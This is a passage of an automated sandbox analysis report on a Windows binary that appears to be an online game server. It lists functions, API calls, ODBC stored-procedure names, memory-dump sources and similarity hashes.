                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: bf63533c9aadaec52220169e73ca218fcf0a25986bd6c15840edec9c80a99a0d
                                                                                                                            • Instruction ID: 45d513a0722ffa10eaf3df4b95e23e8df94b89d9dae055eac95bd59b5f9c7971
                                                                                                                            • Opcode Fuzzy Hash: bf63533c9aadaec52220169e73ca218fcf0a25986bd6c15840edec9c80a99a0d
                                                                                                                            • Instruction Fuzzy Hash: 3A311EB1900918EBDB24CB49CD55FEA7335EBC471AF108288F5186F3C1E6796D848F54
                                                                                                                            Function 0044692A Relevance: 9.1, APIs: 6, Instructions: 93COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044696B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044699B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004469CB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004469FB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00446A2B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00446A5B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 465906022657298b01b90d74c89df624c0fa2d3890f1ad2577895afbf1d1789c
                                                                                                                            • Instruction ID: 8bd90bc04388bf1308068b2ea6251cff80028ba528727cf23b616e2b46838ab6
                                                                                                                            • Opcode Fuzzy Hash: 465906022657298b01b90d74c89df624c0fa2d3890f1ad2577895afbf1d1789c
                                                                                                                            • Instruction Fuzzy Hash: CE31217098011BABEB34DB09CD42FBA7335EB44718F11C2E8F6286A7C5E571AD809F64
                                                                                                                            Function 00468320 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileA.KERNEL32(?,40000000,00000001,00000000,004681D6,00000080,00000000,?,004681D6,?,00000000), ref: 0046839F
                                                                                                                            • SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,004681D6), ref: 004683B8
                                                                                                                            • GetLastError.KERNEL32(?,?,?,004681D6), ref: 004683D5
                                                                                                                            Strings
                                                                                                                            • c:\geolog_fileopen_failed.log, xrefs: 004683C5
                                                                                                                            • %s ErrorCode = %d, xrefs: 004683E0
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$CreateErrorLastPointer
                                                                                                                            • String ID: %s ErrorCode = %d$c:\geolog_fileopen_failed.log
                                                                                                                            • API String ID: 2723331319-2418729633
                                                                                                                            • Opcode ID: 961118bfebade5c6cdcdd55db86105ac2b897e77af188138262856ba31a444ed
                                                                                                                            • Instruction ID: dfd5aab86345832c979d2d6883e7b56247cd95603b25964561d600029c0d1329
                                                                                                                            • Opcode Fuzzy Hash: 961118bfebade5c6cdcdd55db86105ac2b897e77af188138262856ba31a444ed
                                                                                                                            • Instruction Fuzzy Hash: 653164B5E00208FBDB04DFA4C895FAE7B71AB45700F24819EF9055B381DA75AE41DB8A
                                                                                                                            Function 0046A240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetCurrentProcess.KERNEL32(?,0000000A), ref: 0046A2F0
                                                                                                                            • FlushInstructionCache.KERNEL32(00000000), ref: 0046A2F7
                                                                                                                            • GetCurrentProcess.KERNEL32(?,0000000A), ref: 0046A33A
                                                                                                                            • FlushInstructionCache.KERNEL32(00000000), ref: 0046A341
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CacheCurrentFlushInstructionProcess
                                                                                                                            • String ID: !2A
                                                                                                                            • API String ID: 2564211676-711315634
                                                                                                                            • Opcode ID: c49c2754a25f5437073a8d151e79d55c06117224aa46c67d600e700ae4b0f9c4
                                                                                                                            • Instruction ID: 3f8d2dcbef82a9d4ec0291c0a17b6212cd9adbe6f5bfd49091a1e5581358cb0e
                                                                                                                            • Opcode Fuzzy Hash: c49c2754a25f5437073a8d151e79d55c06117224aa46c67d600e700ae4b0f9c4
                                                                                                                            • Instruction Fuzzy Hash: 5B310CB4E0020ADFCB04CF98D495AAEFBB1FF49314F148299D9056B392C775A941CFA5
                                                                                                                            Function 00461520 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetCurrentProcess.KERNEL32(00000001,?,00411C00,?), ref: 00461525
                                                                                                                            • SetProcessPriorityBoost.KERNEL32(00000000,?,00411C00,?), ref: 0046152C
                                                                                                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00411C00,?), ref: 00461544
                                                                                                                            • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000,?,00411C00,?), ref: 00461557
                                                                                                                              • Part of subcall function 004619A0: GetTickCount.KERNEL32 ref: 004619AD
                                                                                                                            Strings
                                                                                                                            • RegisterWait error for timer, xrefs: 0046158C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CreateProcess$BoostCompletionCountCurrentEventPortPriorityTick
                                                                                                                            • String ID: RegisterWait error for timer
                                                                                                                            • API String ID: 3645067099-3143449959
                                                                                                                            • Opcode ID: 65c9f6c28d5fb6e1c83f03ca9c60011000cd11b432d906010aca1bea2fa17b40
                                                                                                                            • Instruction ID: 9d1aeba88d4a70e92938a5e74b08c3457471ee20170aa2af629056f34de5be7e
                                                                                                                            • Opcode Fuzzy Hash: 65c9f6c28d5fb6e1c83f03ca9c60011000cd11b432d906010aca1bea2fa17b40
                                                                                                                            • Instruction Fuzzy Hash: B821F671A402447BE7106FA6AC46F457655EB80709F10003AF6099F2E3E6B9780587DE
                                                                                                                            Function 0042F34C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_CompleteCharQuest] (?, ?)},000000FD), ref: 0042F36C
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042F3AB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042F3E0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F418
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_CompleteCharQuest] (?, ?)}, xrefs: 0042F363
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_CompleteCharQuest] (?, ?)}
                                                                                                                            • API String ID: 0-3042079049
                                                                                                                            • Opcode ID: 93d112b87dd90862320525bb7eb804fc3478403a733ac88946dc5b5d6632f8dd
                                                                                                                            • Instruction ID: 0de2a04e0a5202d302f4eccd3f8ca3730e28d601ea67cb4d2c7edf840c75fe0e
                                                                                                                            • Opcode Fuzzy Hash: 93d112b87dd90862320525bb7eb804fc3478403a733ac88946dc5b5d6632f8dd
                                                                                                                            • Instruction Fuzzy Hash: 1E21F1B0A41658AFEB24CF44CC51F9A7376EBC4715F208289F6187B6C4D6736D908F58
                                                                                                                            Function 0042D666 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_SetGuildNotice](?, ?)},000000FD), ref: 0042D68F
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D6CE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042D703
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FE,000000FD,00000064,00000000,?,00000000,?,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042D743
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_SetGuildNotice](?, ?)}, xrefs: 0042D686
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_SetGuildNotice](?, ?)}
                                                                                                                            • API String ID: 0-778274794
                                                                                                                            • Opcode ID: aa0fd24827b62d6e253d3bc930d82088bc515f902c4dba02327e9130e41f7a34
                                                                                                                            • Instruction ID: b6b00906f934536c618dde2e10e891ba4d07c678ff6a1b149d1c3baa1d16a6f5
                                                                                                                            • Opcode Fuzzy Hash: aa0fd24827b62d6e253d3bc930d82088bc515f902c4dba02327e9130e41f7a34
                                                                                                                            • Instruction Fuzzy Hash: 692103B064461CABDB24CF44CC41FEB7375EB84715F108689F628AA2C4D6B16B808F98
                                                                                                                            Function 0042D74D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_SetTNGuildNotice](?, ?)},000000FD), ref: 0042D776
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042D7B5
